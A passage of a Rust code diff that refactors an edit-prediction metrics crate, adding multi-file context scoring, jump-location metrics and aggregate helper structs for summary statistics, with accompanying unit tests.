+    delta_chr_f_metrics: DeltaChrFMetrics,
+    exact_lines: ClassificationMetrics,
+    jump_location: PatchLocationMatch,
+    expected_cursor: Option<usize>,
+}
+
+struct ContentScore {
+    delta_chr_f_metrics: DeltaChrFMetrics,
+    braces_disbalance: usize,
+    reversal_ratio: f32,
+    kept_rate: Option<f64>,
+    recall_rate: Option<f64>,
+    kept_chars: Option<usize>,
+    correctly_deleted_chars: Option<usize>,
+    discarded_chars: Option<usize>,
+}
+
+fn score_against_expected_patch(
+    input: PredictionScoringInput<'_>,
+    expected: &PreparedExpectedPatch,
+    actual_patch: &str,
+) -> ExpectedPatchScore {
+    let exact_lines = exact_lines_match(&expected.patch, actual_patch);
+    let jump_location = patch_location_match(&expected.patch, actual_patch);
+    let content_score = if let Some(context) = input.context {
+        score_content_on_context(input, expected, actual_patch, context).unwrap_or_else(|| {
+            if expected.patch.trim().is_empty() && actual_patch.trim().is_empty() {
+                score_content_on_cursor_excerpt(input, expected, actual_patch)
+            } else {
+                zero_content_score()
+            }
+        })
+    } else {
+        score_content_on_cursor_excerpt(input, expected, actual_patch)
+    };
+    let delta_chr_f_metrics = content_score.delta_chr_f_metrics.clone();
+
+    let score = PredictionScore {
+        delta_chr_f: delta_chr_f_metrics.score as f32,
+        delta_chr_f_true_positives: delta_chr_f_metrics.counts.true_positives,
+        delta_chr_f_false_positives: delta_chr_f_metrics.counts.false_positives,
+        delta_chr_f_false_negatives: delta_chr_f_metrics.counts.false_negatives,
+        delta_chr_f_precision: delta_chr_f_metrics.precision,
+        delta_chr_f_recall: delta_chr_f_metrics.recall,
+        delta_chr_f_beta: delta_chr_f_metrics.beta,
+        braces_disbalance: content_score.braces_disbalance,
+        exact_lines_tp: exact_lines.true_positives,
+        exact_lines_fp: exact_lines.false_positives,
+        exact_lines_fn: exact_lines.false_negatives,
+        reversal_ratio: content_score.reversal_ratio,
+        cursor_distance: None,
+        cursor_exact_match: None,
+        wrong_editable_region: None,
+        has_isolated_whitespace_changes: false,
+        inserted_tokens: 0,
+        deleted_tokens: 0,
+        kept_rate: content_score.kept_rate,
+        recall_rate: content_score.recall_rate,
+        kept_chars: content_score.kept_chars,
+        correctly_deleted_chars: content_score.correctly_deleted_chars,
+        discarded_chars: content_score.discarded_chars,
+        cumulative_logprob: None,
+        avg_logprob: None,
+        editable_context_coverage: None,
+        jump_location: Some(jump_location.clone()),
     };
 
-    let mut best_delta_chr_f_metrics = DeltaChrFMetrics::default();
-    let mut best_expected_cursor = None;
-    let mut best_expected_text = None;
-
-    for expected in input.expected_patches {
-        let delta_chr_f_metrics = delta_chr_f(input.original_text, &expected.text, &actual_text);
-        if best_expected_text.is_none()
-            || delta_chr_f_metrics.score > best_delta_chr_f_metrics.score
-        {
-            best_delta_chr_f_metrics = delta_chr_f_metrics;
-            best_expected_cursor = expected.cursor_editable_region_offset;
-            best_expected_text = Some(expected.text.as_str());
-        }
+    ExpectedPatchScore {
+        score,
+        delta_chr_f_metrics,
+        exact_lines,
+        jump_location,
+        expected_cursor: expected.cursor_editable_region_offset,
     }
+}
 
-    let disbalance_before = braces_disbalance(input.original_text);
-    let disbalance_after = braces_disbalance(&actual_text);
-    let braces_disbalance = disbalance_after.saturating_sub(disbalance_before);
+fn score_against_no_expected_patch(
+    input: PredictionScoringInput<'_>,
+    actual_patch: &str,
+) -> ExpectedPatchScore {
+    let expected = PreparedExpectedPatch {
+        patch: String::new(),
+        text: input.original_text.to_string(),
+        cursor_editable_region_offset: None,
+    };
+    score_against_expected_patch(input, &expected, actual_patch)
+}
 
-    let best_exact_lines = input
-        .expected_patches
-        .iter()
-        .map(|expected| exact_lines_match(&expected.patch, actual_patch))
-        .max_by_key(|metrics| metrics.true_positives)
-        .unwrap_or_default();
+fn zero_content_score() -> ContentScore {
+    ContentScore {
+        delta_chr_f_metrics: DeltaChrFMetrics {
+            beta: delta_chr_f_beta(),
+            ..DeltaChrFMetrics::default()
+        },
+        braces_disbalance: 0,
+        reversal_ratio: 0.0,
+        kept_rate: None,
+        recall_rate: None,
+        kept_chars: None,
+        correctly_deleted_chars: None,
+        discarded_chars: None,
+    }
+}
 
+fn score_content_on_cursor_excerpt(
+    input: PredictionScoringInput<'_>,
+    expected: &PreparedExpectedPatch,
+    actual_patch: &str,
+) -> ContentScore {
+    let actual_text = apply_diff_to_string(actual_patch, input.original_text)
+        .unwrap_or_else(|_| input.original_text.to_string());
+    let delta_chr_f_metrics = delta_chr_f(input.original_text, &expected.text, &actual_text);
+    let braces_disbalance =
+        braces_disbalance(&actual_text).saturating_sub(braces_disbalance(input.original_text));
     let reversal_ratio = input
         .reversal_context
         .map(|context| {
@@ -272,60 +393,222 @@ pub fn score_prediction(input: PredictionScoringInput<'_>) -> PredictionScore {
             )
         })
         .unwrap_or(0.0);
+    let kept_rate =
+        crate::kept_rate::compute_kept_rate(input.original_text, &actual_text, &expected.text);
 
-    let (cursor_distance, cursor_exact_match) =
-        compute_cursor_metrics(best_expected_cursor, input.actual_cursor);
-
-    let wrong_editable_region = Some(!is_editable_region_correct(actual_patch));
-    let has_isolated_whitespace_changes =
-        has_isolated_whitespace_changes(actual_patch, input.actual_cursor.map(|cursor| cursor.row));
-
-    let (kept_rate, recall_rate, kept_chars, correctly_deleted_chars, discarded_chars) =
-        best_expected_text
-            .map(|reference_text| {
-                let result = crate::kept_rate::compute_kept_rate(
-                    input.original_text,
-                    &actual_text,
-                    reference_text,
-                );
-                (
-                    Some(result.kept_rate),
-                    Some(result.recall_rate),
-                    Some(result.kept_chars),
-                    Some(result.correctly_deleted_chars),
-                    Some(result.discarded_chars),
-                )
-            })
-            .unwrap_or((None, None, None, None, None));
-
-    PredictionScore {
-        delta_chr_f: best_delta_chr_f_metrics.score as f32,
-        delta_chr_f_true_positives: best_delta_chr_f_metrics.counts.true_positives,
-        delta_chr_f_false_positives: best_delta_chr_f_metrics.counts.false_positives,
-        delta_chr_f_false_negatives: best_delta_chr_f_metrics.counts.false_negatives,
-        delta_chr_f_precision: best_delta_chr_f_metrics.precision,
-        delta_chr_f_recall: best_delta_chr_f_metrics.recall,
-        delta_chr_f_beta: best_delta_chr_f_metrics.beta,
+    ContentScore {
+        delta_chr_f_metrics,
         braces_disbalance,
-        exact_lines_tp: best_exact_lines.true_positives,
-        exact_lines_fp: best_exact_lines.false_positives,
-        exact_lines_fn: best_exact_lines.false_negatives,
         reversal_ratio,
-        cursor_distance,
-        cursor_exact_match,
-        wrong_editable_region,
-        has_isolated_whitespace_changes,
-        inserted_tokens: token_changes.inserted_tokens,
-        deleted_tokens: token_changes.deleted_tokens,
-        kept_rate,
-        recall_rate,
-        kept_chars,
-        correctly_deleted_chars,
-        discarded_chars,
-        cumulative_logprob: input.cumulative_logprob,
-        avg_logprob: input.avg_logprob,
-        editable_context_coverage,
+        kept_rate: Some(kept_rate.kept_rate),
+        recall_rate: Some(kept_rate.recall_rate),
+        kept_chars: Some(kept_rate.kept_chars),
+        correctly_deleted_chars: Some(kept_rate.correctly_deleted_chars),
+        discarded_chars: Some(kept_rate.discarded_chars),
+    }
+}
+
+fn score_content_on_context(
+    input: PredictionScoringInput<'_>,
+    expected: &PreparedExpectedPatch,
+    actual_patch: &str,
+    context: &[Excerpt],
+) -> Option<ContentScore> {
+    let expected_documents = apply_patch_to_documents(&expected.patch, context);
+    let actual_documents = apply_patch_to_documents(actual_patch, context);
+    let document_indices = expected_documents
+        .keys()
+        .chain(actual_documents.keys())
+        .copied()
+        .collect::<BTreeSet<_>>();
+
+    if document_indices.is_empty() {
+        return None;
     }
+
+    let mut original_text = String::new();
+    let mut expected_text = String::new();
+    let mut actual_text = String::new();
+    let mut braces_disbalance_before = 0;
+    let mut braces_disbalance_after = 0;
+    let mut cursor_actual_text = None;
+
+    for document_ix in document_indices {
+        let document = context.get(document_ix)?;
+        let expected_document_text = expected_documents
+            .get(&document_ix)
+            .map(String::as_str)
+            .unwrap_or(document.content.as_str());
+        let actual_document_text = actual_documents
+            .get(&document_ix)
+            .map(String::as_str)
+            .unwrap_or(document.content.as_str());
+
+        if !original_text.is_empty() {
+            original_text.push('\n');
+            expected_text.push('\n');
+            actual_text.push('\n');
+        }
+        original_text.push_str(&document.content);
+        expected_text.push_str(expected_document_text);
+        actual_text.push_str(actual_document_text);
+
+        braces_disbalance_before += braces_disbalance(&document.content);
+        braces_disbalance_after += braces_disbalance(actual_document_text);
+
+        if input.reversal_context.is_some_and(|reversal_context| {
+            path_matches(
+                &reversal_context.cursor_path.to_string_lossy(),
+                &document.path,
+            )
+        }) {
+            cursor_actual_text = Some(actual_document_text.to_string());
+        }
+    }
+
+    let delta_chr_f_metrics = delta_chr_f(&original_text, &expected_text, &actual_text);
+    let kept_rate =
+        crate::kept_rate::compute_kept_rate(&original_text, &actual_text, &expected_text);
+    let reversal_ratio = if let (Some(reversal_context), Some(cursor_actual_text)) =
+        (input.reversal_context, cursor_actual_text.as_deref())
+    {
+        compute_prediction_reversal_ratio_from_history(
+            input.original_text,
+            reversal_context.edit_history,
+            reversal_context.excerpt_start_row,
+            cursor_actual_text,
+            reversal_context.cursor_path,
+        )
+    } else {
+        0.0
+    };
+
+    Some(ContentScore {
+        delta_chr_f_metrics,
+        braces_disbalance: braces_disbalance_after.saturating_sub(braces_disbalance_before),
+        reversal_ratio,
+        kept_rate: Some(kept_rate.kept_rate),
+        recall_rate: Some(kept_rate.recall_rate),
+        kept_chars: Some(kept_rate.kept_chars),
+        correctly_deleted_chars: Some(kept_rate.correctly_deleted_chars),
+        discarded_chars: Some(kept_rate.discarded_chars),
+    })
+}
+
+fn apply_patch_to_documents(patch: &str, context: &[Excerpt]) -> BTreeMap<usize, String> {
+    let patch = Patch::parse_unified_diff(patch);
+    let mut hunks_by_document: BTreeMap<usize, Vec<Hunk>> = BTreeMap::new();
+
+    for hunk in patch.hunks.into_iter().filter(hunk_has_change) {
+        if let Some(document_ix) = find_hunk_document(&hunk, context) {
+            hunks_by_document.entry(document_ix).or_default().push(hunk);
+        }
+    }
+
+    hunks_by_document
+        .into_iter()
+        .filter_map(|(document_ix, hunks)| {
+            let document = context.get(document_ix)?;
+            let document_patch = diff_for_document_hunks(document, &hunks);
+            let text = apply_diff_to_string(&document_patch, &document.content).ok()?;
+            Some((document_ix, text))
+        })
+        .collect()
+}
+
+fn find_hunk_document(hunk: &Hunk, context: &[Excerpt]) -> Option<usize> {
+    context
+        .iter()
+        .enumerate()
+        .find_map(|(document_ix, document)| {
+            if !path_matches(&hunk.filename, &document.path) {
+                return None;
+            }
+
+            let document_patch = diff_for_document_hunks(document, std::slice::from_ref(hunk));
+            apply_diff_to_string(&document_patch, &document.content)
+                .is_ok()
+                .then_some(document_ix)
+        })
+}
+
+fn diff_for_document_hunks(document: &Excerpt, hunks: &[Hunk]) -> String {
+    let mut diff = String::new();
+    diff.push_str(&format!("--- a/{}\n", document.path));
+    diff.push_str(&format!("+++ b/{}\n", document.path));
+
+    for hunk in hunks {
+        let old_start = adjust_hunk_start(hunk.old_start, &document.row_range);
+        let new_start = adjust_hunk_start(hunk.new_start, &document.row_range);
+        let old_count = hunk
+            .lines
+            .iter()
+            .filter(|line| matches!(line, PatchLine::Context(_) | PatchLine::Deletion(_)))
+            .count();
+        let new_count = hunk
+            .lines
+            .iter()
+            .filter(|line| matches!(line, PatchLine::Context(_) | PatchLine::Addition(_)))
+            .count();
+        diff.push_str(&format!(
+            "@@ -{},{} +{},{} @@\n",
+            old_start, old_count, new_start, new_count
+        ));
+        for line in &hunk.lines {
+            match line {
+                PatchLine::Context(text) => {
+                    diff.push(' ');
+                    diff.push_str(text);
+                    diff.push('\n');
+                }
+                PatchLine::Addition(text) => {
+                    diff.push('+');
+                    diff.push_str(text);
+                    diff.push('\n');
+                }
+                PatchLine::Deletion(text) => {
+                    diff.push('-');
+                    diff.push_str(text);
+                    diff.push('\n');
+                }
+                PatchLine::Garbage(text) => {
+                    diff.push_str(text);
+                    diff.push('\n');
+                }
+            }
+        }
+    }
+
+    diff
+}
+
+fn adjust_hunk_start(start: isize, row_range: &std::ops::Range<u32>) -> isize {
+    let Ok(start_row) = u32::try_from(start.saturating_sub(1)) else {
+        return start;
+    };
+
+    if row_range.start <= start_row && start_row <= row_range.end {
+        start.saturating_sub(row_range.start as isize)
+    } else {
+        start
+    }
+}
+
+fn hunk_has_change(hunk: &Hunk) -> bool {
+    hunk.lines
+        .iter()
+        .any(|line| matches!(line, PatchLine::Addition(_) | PatchLine::Deletion(_)))
+}
+
+fn path_matches(patch_path: &str, document_path: &str) -> bool {
+    patch_path == document_path
+        || strip_first_path_component(patch_path).is_some_and(|stripped| stripped == document_path)
+}
+
+fn strip_first_path_component(path: &str) -> Option<&str> {
+    path.split_once('/')
+        .map(|(_, rest)| rest)
+        .filter(|rest| !rest.is_empty())
 }
 
 fn compute_cursor_metrics(
@@ -372,4 +655,76 @@ mod tests {
         assert_eq!(score.delta_chr_f, 0.0);
         assert_eq!(score.kept_rate, Some(0.0));
     }
+
+    #[test]
+    fn test_scores_related_file_patch_against_context_document() {
+        let original_text = "fn main() {}\n";
+        let expected_patch = "--- a/src/lib.rs\n+++ b/src/lib.rs\n@@ -11,3 +11,3 @@\n fn value() {\n-    1\n+    2\n }\n";
+        let actual_patch = "--- a/project/src/lib.rs\n+++ b/project/src/lib.rs\n@@ -11,3 +11,3 @@\n fn value() {\n-    1\n+    2\n }\n";
+        let expected_patches = [PreparedExpectedPatch {
+            patch: expected_patch.to_string(),
+            text: original_text.to_string(),
+            cursor_editable_region_offset: None,
+        }];
+        let context = [
+            Excerpt {
+                path: "src/main.rs".to_string(),
+                row_range: 0..1,
+                content: original_text.to_string(),
+            },
+            Excerpt {
+                path: "src/lib.rs".to_string(),
+                row_range: 10..13,
+                content: "fn value() {\n    1\n}\n".to_string(),
+            },
+        ];
+
+        let score = score_prediction(PredictionScoringInput {
+            original_text,
+            expected_patches: &expected_patches,
+            actual_patch: Some(actual_patch),
+            actual_cursor: None,
+            reversal_context: None,
+            cumulative_logprob: None,
+            avg_logprob: None,
+            context: Some(&context),
+        });
+
+        assert_eq!(score.delta_chr_f, 100.0);
+        assert_eq!(score.exact_lines_tp, 2);
+        assert_eq!(score.jump_location.unwrap().files_f1, 1.0);
+    }
+
+    #[test]
+    fn test_missing_related_file_prediction_counts_as_false_negative() {
+        let original_text = "fn main() {}\n";
+        let expected_patch = "--- a/src/lib.rs\n+++ b/src/lib.rs\n@@ -11,3 +11,3 @@\n fn value() {\n-    1\n+    2\n }\n";
+        let expected_patches = [PreparedExpectedPatch {
+            patch: expected_patch.to_string(),
+            text: original_text.to_string(),
+            cursor_editable_region_offset: None,
+        }];
+        let context = [Excerpt {
+            path: "src/lib.rs".to_string(),
+            row_range: 10..13,
+            content: "fn value() {\n    1\n}\n".to_string(),
+        }];
+
+        let score = score_prediction(PredictionScoringInput {
+            original_text,
+            expected_patches: &expected_patches,
+            actual_patch: None,
+            actual_cursor: None,
+            reversal_context: None,
+            cumulative_logprob: None,
+            avg_logprob: None,
+            context: Some(&context),
+        });
+
+        assert!(score.delta_chr_f < 100.0);
+        assert_eq!(score.exact_lines_fn, 2);
+        let location = score.jump_location.unwrap();
+        assert_eq!(location.files_fn, 1);
+        assert_eq!(location.lines_fn, 1);
+    }
 }
diff --git a/crates/edit_prediction_metrics/src/reversal.rs b/crates/edit_prediction_metrics/src/reversal.rs
index 05b82f0c9cc1c4..8b1a6e5e634dec 100644
--- a/crates/edit_prediction_metrics/src/reversal.rs
+++ b/crates/edit_prediction_metrics/src/reversal.rs
@@ -1181,8 +1181,8 @@ mod tests {
                      -old
                      +new"}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1194,8 +1194,8 @@ mod tests {
                      -a
                      +b"}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1207,8 +1207,8 @@ mod tests {
                      -x
                      +y"}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1937,8 +1937,8 @@ mod tests {
                       line2
                  "}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -1977,8 +1977,8 @@ mod tests {
                       line11
                  "}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2039,8 +2039,8 @@ mod tests {
                       line2
                  "}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2078,8 +2078,8 @@ mod tests {
                       more_wrong
                  "}
                 .into(),
-                old_range: 0..1,
-                new_range: 0..1,
+                old_range: 0..0,
+                new_range: 0..0,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2148,8 +2148,8 @@ mod tests {
                           line2
                      "}
                     .into(),
-                    old_range: 0..1,
-                    new_range: 0..1,
+                    old_range: 0..0,
+                    new_range: 0..0,
                     predicted: false,
                     in_open_source_repo: false,
                 }),
@@ -2163,8 +2163,8 @@ mod tests {
                           line2
                      "}
                     .into(),
-                    old_range: 0..1,
-                    new_range: 0..1,
+                    old_range: 0..0,
+                    new_range: 0..0,
                     predicted: false,
                     in_open_source_repo: false,
                 }),
diff --git a/crates/edit_prediction_metrics/src/summary.rs b/crates/edit_prediction_metrics/src/summary.rs
index f927a027d7662f..54190d78bc385a 100644
--- a/crates/edit_prediction_metrics/src/summary.rs
+++ b/crates/edit_prediction_metrics/src/summary.rs
@@ -1,5 +1,6 @@
 use serde::Serialize;
 
+use crate::jumps::LineFileClassification;
 use crate::patch_metrics::ClassificationMetrics;
 use crate::prediction_score::PredictionScore;
 
@@ -41,6 +42,8 @@ pub struct SummaryJson {
     #[serde(skip_serializing_if = "Option::is_none")]
     pub cursor_exact_match_rate: Option<f32>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub cursor_exact_matches: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub cursor_avg_distance: Option<f32>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub cursor_total_evaluated: Option<usize>,
@@ -48,16 +51,24 @@ pub struct SummaryJson {
     pub wrong_editable_region_rate: Option<f32>,
     pub isolated_whitespace_rate: Option<f32>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub isolated_whitespace_count: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub avg_kept_rate: Option<f64>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub kept_rate_examples: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub avg_recall_rate: Option<f64>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub recall_rate_examples: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub total_kept_chars: Option<usize>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub total_correctly_deleted_chars: Option<usize>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub total_discarded_chars: Option<usize>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub editable_context_examples: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub avg_editable_context_lines_precision: Option<f64>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub avg_editable_context_lines_recall: Option<f64>,
@@ -82,6 +93,32 @@ pub struct SummaryJson {
     #[serde(skip_serializing_if = "Option::is_none")]
     pub editable_context_files_fn: Option<usize>,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_examples: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_lines_precision: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_lines_recall: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_lines_f1: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_lines_tp: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_lines_fp: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_lines_fn: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_files_precision: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_files_recall: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub avg_jump_location_files_f1: Option<f64>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_files_tp: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_files_fp: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub jump_location_files_fn: Option<usize>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub avg_retrieved_context_bytes: Option<f64>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub total_retrieved_context_bytes: Option<usize>,
@@ -89,314 +126,257 @@ pub struct SummaryJson {
     pub retrieved_context_examples: Option<usize>,
 }
 
+/// Mean of observed values; `None` when nothing was observed.
+#[derive(Default)]
+struct MeanAggregate {
+    sum: f64,
+    count: usize,
+}
+
+impl MeanAggregate {
+    fn add(&mut self, value: f64) {
+        self.sum += value;
+        self.count += 1;
+    }
+
+    fn mean(&self) -> Option<f64> {
+        (self.count > 0).then(|| self.sum / self.count as f64)
+    }
+
+    fn mean_f32(&self) -> Option<f32> {
+        self.mean().map(|mean| mean as f32)
+    }
+
+    fn count(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.count)
+    }
+}
+
+/// Fraction of observations that were hits; `None` when nothing was observed.
+#[derive(Default)]
+struct RateAggregate {
+    hits: usize,
+    total: usize,
+}
+
+impl RateAggregate {
+    fn add(&mut self, hit: bool) {
+        self.total += 1;
+        if hit {
+            self.hits += 1;
+        }
+    }
+
+    fn rate(&self) -> Option<f32> {
+        (self.total > 0).then(|| self.hits as f32 / self.total as f32)
+    }
+
+    fn hits(&self) -> Option<usize> {
+        (self.total > 0).then_some(self.hits)
+    }
+
+    fn total(&self) -> Option<usize> {
+        (self.total > 0).then_some(self.total)
+    }
+}
+
+/// Sum of observed values; `None` when nothing was observed.
+#[derive(Default)]
+struct SumAggregate {
+    sum: usize,
+    count: usize,
+}
+
+impl SumAggregate {
+    fn add(&mut self, value: usize) {
+        self.sum += value;
+        self.count += 1;
+    }
+
+    fn total(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.sum)
+    }
+
+    fn mean(&self) -> Option<f64> {
+        (self.count > 0).then(|| self.sum as f64 / self.count as f64)
+    }
+
+    fn count(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.count)
+    }
+}
+
+/// Macro-averaged precision/recall/F1 plus pooled (micro) TP/FP/FN counts.
+#[derive(Default)]
+struct PrfAggregate {
+    count: usize,
+    precision_sum: f64,
+    recall_sum: f64,
+    f1_sum: f64,
+    counts: ClassificationMetrics,
+}
+
+impl PrfAggregate {
+    fn add(&mut self, precision: f64, recall: f64, f1: f64, counts: &ClassificationMetrics) {
+        self.count += 1;
+        self.precision_sum += precision;
+        self.recall_sum += recall;
+        self.f1_sum += f1;
+        self.counts.accumulate(counts);
+    }
+
+    fn avg_precision(&self) -> Option<f64> {
+        (self.count > 0).then(|| self.precision_sum / self.count as f64)
+    }
+
+    fn avg_recall(&self) -> Option<f64> {
+        (self.count > 0).then(|| self.recall_sum / self.count as f64)
+    }
+
+    fn avg_f1(&self) -> Option<f64> {
+        (self.count > 0).then(|| self.f1_sum / self.count as f64)
+    }
+
+    fn true_positives(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.counts.true_positives)
+    }
+
+    fn false_positives(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.counts.false_positives)
+    }
+
+    fn false_negatives(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.counts.false_negatives)
+    }
+
+    fn count(&self) -> Option<usize> {
+        (self.count > 0).then_some(self.count)
+    }
+}
+
+/// Aggregates the line- and file-level halves of a [`LineFileClassification`].
+#[derive(Default)]
+struct LineFileAggregate {
+    lines: PrfAggregate,
+    files: PrfAggregate,
+}
+
+impl LineFileAggregate {
+    fn add(&mut self, classification: &LineFileClassification) {
+        self.lines.add(
+            classification.lines_precision,
+            classification.lines_recall,
+            classification.lines_f1,
+            &classification.lines_counts(),
+        );
+        self.files.add(
+            classification.files_precision,
+            classification.files_recall,
+            classification.files_f1,
+            &classification.files_counts(),
+        );
+    }
+
+    fn count(&self) -> Option<usize> {
+        self.lines.count()
+    }
+}
+
 pub fn compute_summary<'a>(
     predictions: impl IntoIterator<Item = PredictionSummaryInput<'a>>,
 ) -> SummaryJson {
-    let mut all_delta_chr_f_scores = Vec::new();
-    let mut all_reversal_ratios = Vec::new();
+    let mut total_scores: usize = 0;
+    let mut delta_chr_f_sum: f32 = 0.0;
+    let mut reversal_ratio_sum: f32 = 0.0;
     let mut braces_disbalance_sum: usize = 0;
     let mut total_delta_chr_f = ClassificationMetrics::default();
-    let mut total_delta_chr_f_precision = 0.0;
-    let mut total_delta_chr_f_recall = 0.0;
+    let mut delta_chr_f_precision_sum = 0.0;
+    let mut delta_chr_f_recall_sum = 0.0;
     let mut delta_chr_f_beta = 0.0;
     let mut total_exact_lines = ClassificationMetrics::default();
-    let mut total_scores: usize = 0;
-    let mut qa_reverts_count: usize = 0;
-    let mut qa_reverts_total: usize = 0;
-    let mut qa_confidence_sum: u64 = 0;
-    let mut qa_confidence_count: usize = 0;
-    let mut cursor_exact_matches: usize = 0;
-    let mut cursor_total: usize = 0;
-    let mut cursor_distance_sum: usize = 0;
-    let mut cursor_distance_count: usize = 0;
-    let mut wrong_editable_region_count: usize = 0;
-    let mut wrong_editable_region_total: usize = 0;
-    let mut isolated_whitespace_count: usize = 0;
-    let mut kept_rate_sum: f64 = 0.0;
-    let mut kept_rate_count: usize = 0;
-    let mut kept_chars_total: usize = 0;
-    let mut kept_chars_count: usize = 0;
-    let mut correctly_deleted_chars_total: usize = 0;
-    let mut correctly_deleted_chars_count: usize = 0;
-    let mut discarded_chars_total: usize = 0;
-    let mut discarded_chars_count: usize = 0;
-    let mut recall_rate_sum: f64 = 0.0;
-    let mut recall_rate_count: usize = 0;
-    let mut editable_context_lines_precision_sum: f64 = 0.0;
-    let mut editable_context_lines_recall_sum: f64 = 0.0;
-    let mut editable_context_lines_f1_sum: f64 = 0.0;
-    let mut editable_context_files_precision_sum: f64 = 0.0;
-    let mut editable_context_files_recall_sum: f64 = 0.0;
-    let mut editable_context_files_f1_sum: f64 = 0.0;
-    let mut editable_context_coverage_count: usize = 0;
-    let mut editable_context_lines_tp: usize = 0;
-    let mut editable_context_lines_fp: usize = 0;
-    let mut editable_context_lines_fn: usize = 0;
-    let mut editable_context_files_tp: usize = 0;
-    let mut editable_context_files_fp: usize = 0;
-    let mut editable_context_files_fn: usize = 0;
-    let mut retrieved_context_bytes_total: usize = 0;
-    let mut retrieved_context_bytes_count: usize = 0;
+    let mut qa_reverts = RateAggregate::default();
+    let mut qa_confidence = MeanAggregate::default();
+    let mut cursor_exact = RateAggregate::default();
+    let mut cursor_distance = MeanAggregate::default();
+    let mut wrong_editable_region = RateAggregate::default();
+    let mut isolated_whitespace = RateAggregate::default();
+    let mut kept_rate = MeanAggregate::default();
+    let mut recall_rate = MeanAggregate::default();
+    let mut kept_chars = SumAggregate::default();
+    let mut correctly_deleted_chars = SumAggregate::default();
+    let mut discarded_chars = SumAggregate::default();
+    let mut editable_context = LineFileAggregate::default();
+    let mut jump_location = LineFileAggregate::default();
+    let mut retrieved_context_bytes = SumAggregate::default();
 
     for prediction in predictions {
         let score = prediction.score;
 
-        all_delta_chr_f_scores.push(score.delta_chr_f);
-        all_reversal_ratios.push(score.reversal_ratio);
         total_scores += 1;
+        delta_chr_f_sum += score.delta_chr_f;
+        reversal_ratio_sum += score.reversal_ratio;
         braces_disbalance_sum += score.braces_disbalance;
         total_delta_chr_f.accumulate(&score.delta_chr_f_counts());
-        total_delta_chr_f_precision += score.delta_chr_f_precision;
-        total_delta_chr_f_recall += score.delta_chr_f_recall;
+        delta_chr_f_precision_sum += score.delta_chr_f_precision;
+        delta_chr_f_recall_sum += score.delta_chr_f_recall;
         delta_chr_f_beta = score.delta_chr_f_beta;
         total_exact_lines.accumulate(&score.exact_lines_counts());
 
         if let Some(qa) = prediction.qa {
             if let Some(reverts) = qa.reverts_edits {
-                qa_reverts_total += 1;
-                if reverts {
-                    qa_reverts_count += 1;
-                }
+                qa_reverts.add(reverts);
             }
             if let Some(confidence) = qa.confidence {
-                qa_confidence_sum += confidence as u64;
-                qa_confidence_count += 1;
+                qa_confidence.add(confidence as f64);
             }
         }
 
         if let Some(wrong) = score.wrong_editable_region {
-            wrong_editable_region_total += 1;
-            if wrong {
-                wrong_editable_region_count += 1;
-            }
+            wrong_editable_region.add(wrong);
         }
+        isolated_whitespace.add(score.has_isolated_whitespace_changes);
 
-        if score.has_isolated_whitespace_changes {
-            isolated_whitespace_count += 1;
+        if let Some(value) = score.kept_rate {
+            kept_rate.add(value);
         }
-
-        if let Some(kept_rate) = score.kept_rate {
-            kept_rate_sum += kept_rate;
-            kept_rate_count += 1;
-        }
-        if let Some(kept_chars) = score.kept_chars {
-            kept_chars_total += kept_chars;
-            kept_chars_count += 1;
